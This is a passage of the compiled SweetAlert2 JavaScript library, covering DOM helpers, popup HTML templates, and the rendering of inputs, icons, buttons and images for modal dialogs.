   * If `arg` is a function, call it (with no arguments or context) and return the result.
   * Otherwise, just pass the value through
   * @param arg
   */

  var callIfFunction = function callIfFunction(arg) {
    return typeof arg === 'function' ? arg() : arg;
  };
  var hasToPromiseFn = function hasToPromiseFn(arg) {
    return arg && typeof arg.toPromise === 'function';
  };
  var asPromise = function asPromise(arg) {
    return hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  };
  var isPromise = function isPromise(arg) {
    return arg && Promise.resolve(arg) === arg;
  };

  var DismissReason = Object.freeze({
    cancel: 'cancel',
    backdrop: 'backdrop',
    close: 'close',
    esc: 'esc',
    timer: 'timer'
  });

  var isJqueryElement = function isJqueryElement(elem) {
    return _typeof(elem) === 'object' && elem.jquery;
  };

  var isElement = function isElement(elem) {
    return elem instanceof Element || isJqueryElement(elem);
  };

  var argsToParams = function argsToParams(args) {
    var params = {};

    if (_typeof(args[0]) === 'object' && !isElement(args[0])) {
      _extends(params, args[0]);
    } else {
      ['title', 'html', 'icon'].forEach(function (name, index) {
        var arg = args[index];

        if (typeof arg === 'string' || isElement(arg)) {
          params[name] = arg;
        } else if (arg !== undefined) {
          error("Unexpected type of ".concat(name, "! Expected \"string\" or \"Element\", got ").concat(_typeof(arg)));
        }
      });
    }

    return params;
  };

  var swalPrefix = 'swal2-';
  var prefix = function prefix(items) {
    var result = {};

    for (var i in items) {
      result[items[i]] = swalPrefix + items[i];
    }

    return result;
  };
  var swalClasses = prefix(['container', 'shown', 'height-auto', 'iosfix', 'popup', 'modal', 'no-backdrop', 'no-transition', 'toast', 'toast-shown', 'toast-column', 'show', 'hide', 'close', 'title', 'header', 'content', 'html-container', 'actions', 'confirm', 'deny', 'cancel', 'footer', 'icon', 'icon-content', 'image', 'input', 'file', 'range', 'select', 'radio', 'checkbox', 'label', 'textarea', 'inputerror', 'validation-message', 'progress-steps', 'active-progress-step', 'progress-step', 'progress-step-line', 'loader', 'loading', 'styled', 'top', 'top-start', 'top-end', 'top-left', 'top-right', 'center', 'center-start', 'center-end', 'center-left', 'center-right', 'bottom', 'bottom-start', 'bottom-end', 'bottom-left', 'bottom-right', 'grow-row', 'grow-column', 'grow-fullscreen', 'rtl', 'timer-progress-bar', 'timer-progress-bar-container', 'scrollbar-measure', 'icon-success', 'icon-warning', 'icon-info', 'icon-question', 'icon-error']);
  var iconTypes = prefix(['success', 'warning', 'info', 'question', 'error']);

  var getContainer = function getContainer() {
    return document.body.querySelector(".".concat(swalClasses.container));
  };
  var elementBySelector = function elementBySelector(selectorString) {
    var container = getContainer();
    return container ? container.querySelector(selectorString) : null;
  };

  var elementByClass = function elementByClass(className) {
    return elementBySelector(".".concat(className));
  };

  var getPopup = function getPopup() {
    return elementByClass(swalClasses.popup);
  };
  var getIcons = function getIcons() {
    var popup = getPopup();
    return toArray(popup.querySelectorAll(".".concat(swalClasses.icon)));
  };
  var getIcon = function getIcon() {
    var visibleIcon = getIcons().filter(function (icon) {
      return isVisible(icon);
    });
    return visibleIcon.length ? visibleIcon[0] : null;
  };
  var getTitle = function getTitle() {
    return elementByClass(swalClasses.title);
  };
  var getContent = function getContent() {
    return elementByClass(swalClasses.content);
  };
  var getHtmlContainer = function getHtmlContainer() {
    return elementByClass(swalClasses['html-container']);
  };
  var getImage = function getImage() {
    return elementByClass(swalClasses.image);
  };
  var getProgressSteps = function getProgressSteps() {
    return elementByClass(swalClasses['progress-steps']);
  };
  var getValidationMessage = function getValidationMessage() {
    return elementByClass(swalClasses['validation-message']);
  };
  var getConfirmButton = function getConfirmButton() {
    return elementBySelector(".".concat(swalClasses.actions, " .").concat(swalClasses.confirm));
  };
  var getDenyButton = function getDenyButton() {
    return elementBySelector(".".concat(swalClasses.actions, " .").concat(swalClasses.deny));
  };
  var getLoader = function getLoader() {
    return elementBySelector(".".concat(swalClasses.loader));
  };
  var getCancelButton = function getCancelButton() {
    return elementBySelector(".".concat(swalClasses.actions, " .").concat(swalClasses.cancel));
  };
  var getActions = function getActions() {
    return elementByClass(swalClasses.actions);
  };
  var getHeader = function getHeader() {
    return elementByClass(swalClasses.header);
  };
  var getFooter = function getFooter() {
    return elementByClass(swalClasses.footer);
  };
  var getTimerProgressBar = function getTimerProgressBar() {
    return elementByClass(swalClasses['timer-progress-bar']);
  };
  var getCloseButton = function getCloseButton() {
    return elementByClass(swalClasses.close);
  }; // https://github.com/jkup/focusable/blob/master/index.js

  var focusable = "\n  a[href],\n  area[href],\n  input:not([disabled]),\n  select:not([disabled]),\n  textarea:not([disabled]),\n  button:not([disabled]),\n  iframe,\n  object,\n  embed,\n  [tabindex=\"0\"],\n  [contenteditable],\n  audio[controls],\n  video[controls],\n  summary\n";
  var getFocusableElements = function getFocusableElements() {
    var focusableElementsWithTabindex = toArray(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')) // sort according to tabindex
    .sort(function (a, b) {
      a = parseInt(a.getAttribute('tabindex'));
      b = parseInt(b.getAttribute('tabindex'));

      if (a > b) {
        return 1;
      } else if (a < b) {
        return -1;
      }

      return 0;
    });
    var otherFocusableElements = toArray(getPopup().querySelectorAll(focusable)).filter(function (el) {
      return el.getAttribute('tabindex') !== '-1';
    });
    return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter(function (el) {
      return isVisible(el);
    });
  };
  var isModal = function isModal() {
    return !isToast() && !document.body.classList.contains(swalClasses['no-backdrop']);
  };
  var isToast = function isToast() {
    return document.body.classList.contains(swalClasses['toast-shown']);
  };
  var isLoading = function isLoading() {
    return getPopup().hasAttribute('data-loading');
  };

  var states = {
    previousBodyPadding: null
  };
  var setInnerHtml = function setInnerHtml(elem, html) {
    // #1926
    elem.textContent = '';

    if (html) {
      var parser = new DOMParser();
      var parsed = parser.parseFromString(html, "text/html");
      toArray(parsed.querySelector('head').childNodes).forEach(function (child) {
        elem.appendChild(child);
      });
      toArray(parsed.querySelector('body').childNodes).forEach(function (child) {
        elem.appendChild(child);
      });
    }
  };
  var hasClass = function hasClass(elem, className) {
    if (!className) {
      return false;
    }

    var classList = className.split(/\s+/);

    for (var i = 0; i < classList.length; i++) {
      if (!elem.classList.contains(classList[i])) {
        return false;
      }
    }

    return true;
  };

  var removeCustomClasses = function removeCustomClasses(elem, params) {
    toArray(elem.classList).forEach(function (className) {
      if (!(objectValues(swalClasses).indexOf(className) !== -1) && !(objectValues(iconTypes).indexOf(className) !== -1) && !(objectValues(params.showClass).indexOf(className) !== -1)) {
        elem.classList.remove(className);
      }
    });
  };

  var applyCustomClass = function applyCustomClass(elem, params, className) {
    removeCustomClasses(elem, params);

    if (params.customClass && params.customClass[className]) {
      if (typeof params.customClass[className] !== 'string' && !params.customClass[className].forEach) {
        return warn("Invalid type of customClass.".concat(className, "! Expected string or iterable object, got \"").concat(_typeof(params.customClass[className]), "\""));
      }

      addClass(elem, params.customClass[className]);
    }
  };
  function getInput(content, inputType) {
    if (!inputType) {
      return null;
    }

    switch (inputType) {
      case 'select':
      case 'textarea':
      case 'file':
        return getChildByClass(content, swalClasses[inputType]);

      case 'checkbox':
        return content.querySelector(".".concat(swalClasses.checkbox, " input"));

      case 'radio':
        return content.querySelector(".".concat(swalClasses.radio, " input:checked")) || content.querySelector(".".concat(swalClasses.radio, " input:first-child"));

      case 'range':
        return content.querySelector(".".concat(swalClasses.range, " input"));

      default:
        return getChildByClass(content, swalClasses.input);
    }
  }
  var focusInput = function focusInput(input) {
    input.focus(); // place cursor at end of text in text input

    if (input.type !== 'file') {
      // http://stackoverflow.com/a/2345915
      var val = input.value;
      input.value = '';
      input.value = val;
    }
  };
  var toggleClass = function toggleClass(target, classList, condition) {
    if (!target || !classList) {
      return;
    }

    if (typeof classList === 'string') {
      classList = classList.split(/\s+/).filter(Boolean);
    }

    classList.forEach(function (className) {
      if (target.forEach) {
        target.forEach(function (elem) {
          condition ? elem.classList.add(className) : elem.classList.remove(className);
        });
      } else {
        condition ? target.classList.add(className) : target.classList.remove(className);
      }
    });
  };
  var addClass = function addClass(target, classList) {
    toggleClass(target, classList, true);
  };
  var removeClass = function removeClass(target, classList) {
    toggleClass(target, classList, false);
  };
  var getChildByClass = function getChildByClass(elem, className) {
    for (var i = 0; i < elem.childNodes.length; i++) {
      if (hasClass(elem.childNodes[i], className)) {
        return elem.childNodes[i];
      }
    }
  };
  var applyNumericalStyle = function applyNumericalStyle(elem, property, value) {
    if (value || parseInt(value) === 0) {
      elem.style[property] = typeof value === 'number' ? "".concat(value, "px") : value;
    } else {
      elem.style.removeProperty(property);
    }
  };
  var show = function show(elem) {
    var display = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'flex';
    elem.style.display = display;
  };
  var hide = function hide(elem) {
    elem.style.display = 'none';
  };
  var setStyle = function setStyle(parent, selector, property, value) {
    var el = parent.querySelector(selector);

    if (el) {
      el.style[property] = value;
    }
  };
  var toggle = function toggle(elem, condition, display) {
    condition ? show(elem, display) : hide(elem);
  }; // borrowed from jquery $(elem).is(':visible') implementation

  var isVisible = function isVisible(elem) {
    return !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  };
  /* istanbul ignore next */

  var isScrollable = function isScrollable(elem) {
    return !!(elem.scrollHeight > elem.clientHeight);
  }; // borrowed from https://stackoverflow.com/a/46352119

  var hasCssAnimation = function hasCssAnimation(elem) {
    var style = window.getComputedStyle(elem);
    var animDuration = parseFloat(style.getPropertyValue('animation-duration') || '0');
    var transDuration = parseFloat(style.getPropertyValue('transition-duration') || '0');
    return animDuration > 0 || transDuration > 0;
  };
  var contains = function contains(haystack, needle) {
    if (typeof haystack.contains === 'function') {
      return haystack.contains(needle);
    }
  };
  var animateTimerProgressBar = function animateTimerProgressBar(timer) {
    var reset = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
    var timerProgressBar = getTimerProgressBar();

    if (isVisible(timerProgressBar)) {
      if (reset) {
        timerProgressBar.style.transition = 'none';
        timerProgressBar.style.width = '100%';
      }

      setTimeout(function () {
        timerProgressBar.style.transition = "width ".concat(timer / 1000, "s linear");
        timerProgressBar.style.width = '0%';
      }, 10);
    }
  };
  var stopTimerProgressBar = function stopTimerProgressBar() {
    var timerProgressBar = getTimerProgressBar();
    var timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
    timerProgressBar.style.removeProperty('transition');
    timerProgressBar.style.width = '100%';
    var timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
    var timerProgressBarPercent = parseInt(timerProgressBarWidth / timerProgressBarFullWidth * 100);
    timerProgressBar.style.removeProperty('transition');
    timerProgressBar.style.width = "".concat(timerProgressBarPercent, "%");
  };

  // Detect Node env
  var isNodeEnv = function isNodeEnv() {
    return typeof window === 'undefined' || typeof document === 'undefined';
  };

  var sweetHTML = "\n <div aria-labelledby=\"".concat(swalClasses.title, "\" aria-describedby=\"").concat(swalClasses.content, "\" class=\"").concat(swalClasses.popup, "\" tabindex=\"-1\">\n   <div class=\"").concat(swalClasses.header, "\">\n     <ul class=\"").concat(swalClasses['progress-steps'], "\"></ul>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.error, "\"></div>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.question, "\"></div>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.warning, "\"></div>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.info, "\"></div>\n     <div class=\"").concat(swalClasses.icon, " ").concat(iconTypes.success, "\"></div>\n     <img class=\"").concat(swalClasses.image, "\" />\n     <h2 class=\"").concat(swalClasses.title, "\" id=\"").concat(swalClasses.title, "\"></h2>\n     <button type=\"button\" class=\"").concat(swalClasses.close, "\"></button>\n   </div>\n   <div class=\"").concat(swalClasses.content, "\">\n     <div id=\"").concat(swalClasses.content, "\" class=\"").concat(swalClasses['html-container'], "\"></div>\n     <input class=\"").concat(swalClasses.input, "\" />\n     <input type=\"file\" class=\"").concat(swalClasses.file, "\" />\n     <div class=\"").concat(swalClasses.range, "\">\n       <input type=\"range\" />\n       <output></output>\n     </div>\n     <select class=\"").concat(swalClasses.select, "\"></select>\n     <div class=\"").concat(swalClasses.radio, "\"></div>\n     <label for=\"").concat(swalClasses.checkbox, "\" class=\"").concat(swalClasses.checkbox, "\">\n       <input type=\"checkbox\" />\n       <span class=\"").concat(swalClasses.label, "\"></span>\n     </label>\n     <textarea class=\"").concat(swalClasses.textarea, "\"></textarea>\n     <div class=\"").concat(swalClasses['validation-message'], "\" id=\"").concat(swalClasses['validation-message'], "\"></div>\n   </div>\n   <div class=\"").concat(swalClasses.actions, "\">\n     <div class=\"").concat(swalClasses.loader, "\"></div>\n     <button type=\"button\" class=\"").concat(swalClasses.confirm, "\"></button>\n     <button type=\"button\" class=\"").concat(swalClasses.deny, "\"></button>\n     <button type=\"button\" class=\"").concat(swalClasses.cancel, "\"></button>\n   </div>\n   <div class=\"").concat(swalClasses.footer, "\"></div>\n   <div class=\"").concat(swalClasses['timer-progress-bar-container'], "\">\n     <div class=\"").concat(swalClasses['timer-progress-bar'], "\"></div>\n   </div>\n </div>\n").replace(/(^|\n)\s*/g, '');

  var resetOldContainer = function resetOldContainer() {
    var oldContainer = getContainer();

    if (!oldContainer) {
      return false;
    }

    oldContainer.parentNode.removeChild(oldContainer);
    removeClass([document.documentElement, document.body], [swalClasses['no-backdrop'], swalClasses['toast-shown'], swalClasses['has-column']]);
    return true;
  };

  var oldInputVal; // IE11 workaround, see #1109 for details

  var resetValidationMessage = function resetValidationMessage(e) {
    if (Swal.isVisible() && oldInputVal !== e.target.value) {
      Swal.resetValidationMessage();
    }

    oldInputVal = e.target.value;
  };

  var addInputChangeListeners = function addInputChangeListeners() {
    var content = getContent();
    var input = getChildByClass(content, swalClasses.input);
    var file = getChildByClass(content, swalClasses.file);
    var range = content.querySelector(".".concat(swalClasses.range, " input"));
    var rangeOutput = content.querySelector(".".concat(swalClasses.range, " output"));
    var select = getChildByClass(content, swalClasses.select);
    var checkbox = content.querySelector(".".concat(swalClasses.checkbox, " input"));
    var textarea = getChildByClass(content, swalClasses.textarea);
    input.oninput = resetValidationMessage;
    file.onchange = resetValidationMessage;
    select.onchange = resetValidationMessage;
    checkbox.onchange = resetValidationMessage;
    textarea.oninput = resetValidationMessage;

    range.oninput = function (e) {
      resetValidationMessage(e);
      rangeOutput.value = range.value;
    };

    range.onchange = function (e) {
      resetValidationMessage(e);
      range.nextSibling.value = range.value;
    };
  };

  var getTarget = function getTarget(target) {
    return typeof target === 'string' ? document.querySelector(target) : target;
  };

  var setupAccessibility = function setupAccessibility(params) {
    var popup = getPopup();
    popup.setAttribute('role', params.toast ? 'alert' : 'dialog');
    popup.setAttribute('aria-live', params.toast ? 'polite' : 'assertive');

    if (!params.toast) {
      popup.setAttribute('aria-modal', 'true');
    }
  };

  var setupRTL = function setupRTL(targetElement) {
    if (window.getComputedStyle(targetElement).direction === 'rtl') {
      addClass(getContainer(), swalClasses.rtl);
    }
  };
  /*
   * Add modal + backdrop to DOM
   */


  var init = function init(params) {
    // Clean up the old popup container if it exists
    var oldContainerExisted = resetOldContainer();
    /* istanbul ignore if */

    if (isNodeEnv()) {
      error('SweetAlert2 requires document to initialize');
      return;
    }

    var container = document.createElement('div');
    container.className = swalClasses.container;

    if (oldContainerExisted) {
      addClass(container, swalClasses['no-transition']);
    }

    setInnerHtml(container, sweetHTML);
    var targetElement = getTarget(params.target);
    targetElement.appendChild(container);
    setupAccessibility(params);
    setupRTL(targetElement);
    addInputChangeListeners();
  };

  var parseHtmlToContainer = function parseHtmlToContainer(param, target) {
    // DOM element
    if (param instanceof HTMLElement) {
      target.appendChild(param); // Object
    } else if (_typeof(param) === 'object') {
      handleObject(param, target); // Plain string
    } else if (param) {
      setInnerHtml(target, param);
    }
  };

  var handleObject = function handleObject(param, target) {
    // JQuery element(s)
    if (param.jquery) {
      handleJqueryElem(target, param); // For other objects use their string representation
    } else {
      setInnerHtml(target, param.toString());
    }
  };

  var handleJqueryElem = function handleJqueryElem(target, elem) {
    target.textContent = '';

    if (0 in elem) {
      for (var i = 0; (i in elem); i++) {
        target.appendChild(elem[i].cloneNode(true));
      }
    } else {
      target.appendChild(elem.cloneNode(true));
    }
  };

  var animationEndEvent = function () {
    // Prevent run in Node env

    /* istanbul ignore if */
    if (isNodeEnv()) {
      return false;
    }

    var testEl = document.createElement('div');
    var transEndEventNames = {
      WebkitAnimation: 'webkitAnimationEnd',
      OAnimation: 'oAnimationEnd oanimationend',
      animation: 'animationend'
    };

    for (var i in transEndEventNames) {
      if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== 'undefined') {
        return transEndEventNames[i];
      }
    }

    return false;
  }();

  // https://github.com/twbs/bootstrap/blob/master/js/src/modal.js

  var measureScrollbar = function measureScrollbar() {
    var scrollDiv = document.createElement('div');
    scrollDiv.className = swalClasses['scrollbar-measure'];
    document.body.appendChild(scrollDiv);
    var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
    document.body.removeChild(scrollDiv);
    return scrollbarWidth;
  };

  var renderActions = function renderActions(instance, params) {
    var actions = getActions();
    var loader = getLoader();
    var confirmButton = getConfirmButton();
    var denyButton = getDenyButton();
    var cancelButton = getCancelButton(); // Actions (buttons) wrapper

    if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
      hide(actions);
    } // Custom class


    applyCustomClass(actions, params, 'actions'); // Render buttons

    renderButton(confirmButton, 'confirm', params);
    renderButton(denyButton, 'deny', params);
    renderButton(cancelButton, 'cancel', params); // Loader

    loader.innerHTML = params.loaderHtml;

    if (params.buttonsStyling) {
      handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
    } else {
      removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
    }

    if (params.reverseButtons) {
      actions.insertBefore(cancelButton, loader);
      actions.insertBefore(denyButton, loader);
      actions.insertBefore(confirmButton, loader);
    }
  };

  function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
    addClass([confirmButton, denyButton, cancelButton], swalClasses.styled); // Buttons background colors

    if (params.confirmButtonColor) {
      confirmButton.style.backgroundColor = params.confirmButtonColor;
    }

    if (params.denyButtonColor) {
      denyButton.style.backgroundColor = params.denyButtonColor;
    }

    if (params.cancelButtonColor) {
      cancelButton.style.backgroundColor = params.cancelButtonColor;
    } // Loading state


    if (!isLoading()) {
      var confirmButtonBackgroundColor = window.getComputedStyle(confirmButton).getPropertyValue('background-color');
      confirmButton.style.borderLeftColor = confirmButtonBackgroundColor;
      confirmButton.style.borderRightColor = confirmButtonBackgroundColor;
    }
  }

  function renderButton(button, buttonType, params) {
    toggle(button, params["show".concat(capitalizeFirstLetter(buttonType), "Button")], 'inline-block');
    setInnerHtml(button, params["".concat(buttonType, "ButtonText")]); // Set caption text

    button.setAttribute('aria-label', params["".concat(buttonType, "ButtonAriaLabel")]); // ARIA label
    // Add buttons custom classes

    button.className = swalClasses[buttonType];
    applyCustomClass(button, params, "".concat(buttonType, "Button"));
    addClass(button, params["".concat(buttonType, "ButtonClass")]);
  }

  function handleBackdropParam(container, backdrop) {
    if (typeof backdrop === 'string') {
      container.style.background = backdrop;
    } else if (!backdrop) {
      addClass([document.documentElement, document.body], swalClasses['no-backdrop']);
    }
  }

  function handlePositionParam(container, position) {
    if (position in swalClasses) {
      addClass(container, swalClasses[position]);
    } else {
      warn('The "position" parameter is not valid, defaulting to "center"');
      addClass(container, swalClasses.center);
    }
  }

  function handleGrowParam(container, grow) {
    if (grow && typeof grow === 'string') {
      var growClass = "grow-".concat(grow);

      if (growClass in swalClasses) {
        addClass(container, swalClasses[growClass]);
      }
    }
  }

  var renderContainer = function renderContainer(instance, params) {
    var container = getContainer();

    if (!container) {
      return;
    }

    handleBackdropParam(container, params.backdrop);

    if (!params.backdrop && params.allowOutsideClick) {
      warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
    }

    handlePositionParam(container, params.position);
    handleGrowParam(container, params.grow); // Custom class

    applyCustomClass(container, params, 'container'); // Set queue step attribute for getQueueStep() method

    var queueStep = document.body.getAttribute('data-swal2-queue-step');

    if (queueStep) {
      container.setAttribute('data-queue-step', queueStep);
      document.body.removeAttribute('data-swal2-queue-step');
    }
  };

  /**
   * This module containts `WeakMap`s for each effectively-"private  property" that a `Swal` has.
   * For example, to set the private property "foo" of `this` to "bar", you can `privateProps.foo.set(this, 'bar')`
   * This is the approach that Babel will probably take to implement private methods/fields
   *   https://github.com/tc39/proposal-private-methods
   *   https://github.com/babel/babel/pull/7555
   * Once we have the changes from that PR in Babel, and our core class fits reasonable in *one module*
   *   then we can use that language feature.
   */
  var privateProps = {
    promise: new WeakMap(),
    innerParams: new WeakMap(),
    domCache: new WeakMap()
  };

  var inputTypes = ['input', 'file', 'range', 'select', 'radio', 'checkbox', 'textarea'];
  var renderInput = function renderInput(instance, params) {
    var content = getContent();
    var innerParams = privateProps.innerParams.get(instance);
    var rerender = !innerParams || params.input !== innerParams.input;
    inputTypes.forEach(function (inputType) {
      var inputClass = swalClasses[inputType];
      var inputContainer = getChildByClass(content, inputClass); // set attributes

      setAttributes(inputType, params.inputAttributes); // set class

      inputContainer.className = inputClass;

      if (rerender) {
        hide(inputContainer);
      }
    });

    if (params.input) {
      if (rerender) {
        showInput(params);
      } // set custom class


      setCustomClass(params);
    }
  };

  var showInput = function showInput(params) {
    if (!renderInputType[params.input]) {
      return error("Unexpected type of input! Expected \"text\", \"email\", \"password\", \"number\", \"tel\", \"select\", \"radio\", \"checkbox\", \"textarea\", \"file\" or \"url\", got \"".concat(params.input, "\""));
    }

    var inputContainer = getInputContainer(params.input);
    var input = renderInputType[params.input](inputContainer, params);
    show(input); // input autofocus

    setTimeout(function () {
      focusInput(input);
    });
  };

  var removeAttributes = function removeAttributes(input) {
    for (var i = 0; i < input.attributes.length; i++) {
      var attrName = input.attributes[i].name;

      if (!(['type', 'value', 'style'].indexOf(attrName) !== -1)) {
        input.removeAttribute(attrName);
      }
    }
  };

  var setAttributes = function setAttributes(inputType, inputAttributes) {
    var input = getInput(getContent(), inputType);

    if (!input) {
      return;
    }

    removeAttributes(input);

    for (var attr in inputAttributes) {
      // Do not set a placeholder for <input type="range">
      // it'll crash Edge, #1298
      if (inputType === 'range' && attr === 'placeholder') {
        continue;
      }

      input.setAttribute(attr, inputAttributes[attr]);
    }
  };

  var setCustomClass = function setCustomClass(params) {
    var inputContainer = getInputContainer(params.input);

    if (params.customClass) {
      addClass(inputContainer, params.customClass.input);
    }
  };

  var setInputPlaceholder = function setInputPlaceholder(input, params) {
    if (!input.placeholder || params.inputPlaceholder) {
      input.placeholder = params.inputPlaceholder;
    }
  };

  var getInputContainer = function getInputContainer(inputType) {
    var inputClass = swalClasses[inputType] ? swalClasses[inputType] : swalClasses.input;
    return getChildByClass(getContent(), inputClass);
  };

  var renderInputType = {};

  renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = function (input, params) {
    if (typeof params.inputValue === 'string' || typeof params.inputValue === 'number') {
      input.value = params.inputValue;
    } else if (!isPromise(params.inputValue)) {
      warn("Unexpected type of inputValue! Expected \"string\", \"number\" or \"Promise\", got \"".concat(_typeof(params.inputValue), "\""));
    }

    setInputPlaceholder(input, params);
    input.type = params.input;
    return input;
  };

  renderInputType.file = function (input, params) {
    setInputPlaceholder(input, params);
    return input;
  };

  renderInputType.range = function (range, params) {
    var rangeInput = range.querySelector('input');
    var rangeOutput = range.querySelector('output');
    rangeInput.value = params.inputValue;
    rangeInput.type = params.input;
    rangeOutput.value = params.inputValue;
    return range;
  };

  renderInputType.select = function (select, params) {
    select.textContent = '';

    if (params.inputPlaceholder) {
      var placeholder = document.createElement('option');
      setInnerHtml(placeholder, params.inputPlaceholder);
      placeholder.value = '';
      placeholder.disabled = true;
      placeholder.selected = true;
      select.appendChild(placeholder);
    }

    return select;
  };

  renderInputType.radio = function (radio) {
    radio.textContent = '';
    return radio;
  };

  renderInputType.checkbox = function (checkboxContainer, params) {
    var checkbox = getInput(getContent(), 'checkbox');
    checkbox.value = 1;
    checkbox.id = swalClasses.checkbox;
    checkbox.checked = Boolean(params.inputValue);
    var label = checkboxContainer.querySelector('span');
    setInnerHtml(label, params.inputPlaceholder);
    return checkboxContainer;
  };

  renderInputType.textarea = function (textarea, params) {
    textarea.value = params.inputValue;
    setInputPlaceholder(textarea, params);

    if ('MutationObserver' in window) {
      // #1699
      var initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
      var popupPadding = parseInt(window.getComputedStyle(getPopup()).paddingLeft) + parseInt(window.getComputedStyle(getPopup()).paddingRight);

      var outputsize = function outputsize() {
        var contentWidth = textarea.offsetWidth + popupPadding;

        if (contentWidth > initialPopupWidth) {
          getPopup().style.width = "".concat(contentWidth, "px");
        } else {
          getPopup().style.width = null;
        }
      };

      new MutationObserver(outputsize).observe(textarea, {
        attributes: true,
        attributeFilter: ['style']
      });
    }

    return textarea;
  };

  var renderContent = function renderContent(instance, params) {
    var content = getContent().querySelector("#".concat(swalClasses.content)); // Content as HTML

    if (params.html) {
      parseHtmlToContainer(params.html, content);
      show(content, 'block'); // Content as plain text
    } else if (params.text) {
      content.textContent = params.text;
      show(content, 'block'); // No content
    } else {
      hide(content);
    }

    renderInput(instance, params); // Custom class

    applyCustomClass(getContent(), params, 'content');
  };

  var renderFooter = function renderFooter(instance, params) {
    var footer = getFooter();
    toggle(footer, params.footer);

    if (params.footer) {
      parseHtmlToContainer(params.footer, footer);
    } // Custom class


    applyCustomClass(footer, params, 'footer');
  };

  var renderCloseButton = function renderCloseButton(instance, params) {
    var closeButton = getCloseButton();
    setInnerHtml(closeButton, params.closeButtonHtml); // Custom class

    applyCustomClass(closeButton, params, 'closeButton');
    toggle(closeButton, params.showCloseButton);
    closeButton.setAttribute('aria-label', params.closeButtonAriaLabel);
  };

  var renderIcon = function renderIcon(instance, params) {
    var innerParams = privateProps.innerParams.get(instance); // if the given icon already rendered, apply the styling without re-rendering the icon

    if (innerParams && params.icon === innerParams.icon && getIcon()) {
      applyStyles(getIcon(), params);
      return;
    }

    hideAllIcons();

    if (!params.icon) {
      return;
    }

    if (Object.keys(iconTypes).indexOf(params.icon) !== -1) {
      var icon = elementBySelector(".".concat(swalClasses.icon, ".").concat(iconTypes[params.icon]));
      show(icon); // Custom or default content

      setContent(icon, params);
      applyStyles(icon, params); // Animate icon

      addClass(icon, params.showClass.icon);
    } else {
      error("Unknown icon! Expected \"success\", \"error\", \"warning\", \"info\" or \"question\", got \"".concat(params.icon, "\""));
    }
  };

  var hideAllIcons = function hideAllIcons() {
    var icons = getIcons();

    for (var i = 0; i < icons.length; i++) {
      hide(icons[i]);
    }
  };

  var applyStyles = function applyStyles(icon, params) {
    // Icon color
    setColor(icon, params); // Success icon background color

    adjustSuccessIconBackgoundColor(); // Custom class

    applyCustomClass(icon, params, 'icon');
  }; // Adjust success icon background color to match the popup background color


  var adjustSuccessIconBackgoundColor = function adjustSuccessIconBackgoundColor() {
    var popup = getPopup();
    var popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue('background-color');
    var successIconParts = popup.querySelectorAll('[class^=swal2-success-circular-line], .swal2-success-fix');

    for (var i = 0; i < successIconParts.length; i++) {
      successIconParts[i].style.backgroundColor = popupBackgroundColor;
    }
  };

  var setContent = function setContent(icon, params) {
    icon.textContent = '';

    if (params.iconHtml) {
      setInnerHtml(icon, iconContent(params.iconHtml));
    } else if (params.icon === 'success') {
      setInnerHtml(icon, "\n      <div class=\"swal2-success-circular-line-left\"></div>\n      <span class=\"swal2-success-line-tip\"></span> <span class=\"swal2-success-line-long\"></span>\n      <div class=\"swal2-success-ring\"></div> <div class=\"swal2-success-fix\"></div>\n      <div class=\"swal2-success-circular-line-right\"></div>\n    ");
    } else if (params.icon === 'error') {
      setInnerHtml(icon, "\n      <span class=\"swal2-x-mark\">\n        <span class=\"swal2-x-mark-line-left\"></span>\n        <span class=\"swal2-x-mark-line-right\"></span>\n      </span>\n    ");
    } else {
      var defaultIconHtml = {
        question: '?',
        warning: '!',
        info: 'i'
      };
      setInnerHtml(icon, iconContent(defaultIconHtml[params.icon]));
    }
  };

  var setColor = function setColor(icon, params) {
    if (!params.iconColor) {
      return;
    }

    icon.style.color = params.iconColor;
    icon.style.borderColor = params.iconColor;

    for (var _i = 0, _arr = ['.swal2-success-line-tip', '.swal2-success-line-long', '.swal2-x-mark-line-left', '.swal2-x-mark-line-right']; _i < _arr.length; _i++) {
      var sel = _arr[_i];
      setStyle(icon, sel, 'backgroundColor', params.iconColor);
    }

    setStyle(icon, '.swal2-success-ring', 'borderColor', params.iconColor);
  };

  var iconContent = function iconContent(content) {
    return "<div class=\"".concat(swalClasses['icon-content'], "\">").concat(content, "</div>");
  };

  var renderImage = function renderImage(instance, params) {
    var image = getImage();

    if (!params.imageUrl) {
      return hide(image);
    }

    show(image, ''); // Src, alt

    image.setAttribute('src', params.imageUrl);
    image.setAttribute('alt', params.imageAlt); // Width, height

    applyNumericalStyle(image, 'width', params.imageWidth);
    applyNumericalStyle(image, 'height', params.imageHeight); // Class

    image.className = swalClasses.image;
    applyCustomClass(image, params, 'image');
  };

  var currentSteps = [];
  /*
   * Global function for chaining sweetAlert popups
   */

  var queue = function queue(steps) {
    var Swal = this;
    currentSteps = steps;

    var resetAndResolve = function resetAndResolve(resolve, value) {
      currentSteps = [];
      resolve(value);
    };

    var queueResult = [];
    return new Promise(function (resolve) {
      (function step(i, callback) {
        if (i < currentSteps.length) {
          document.body.setAttribute('data-swal2-queue-step', i);
          Swal.fire(currentSteps[i]).then(function (result) {
            if (typeof result.value !== 'undefined') {
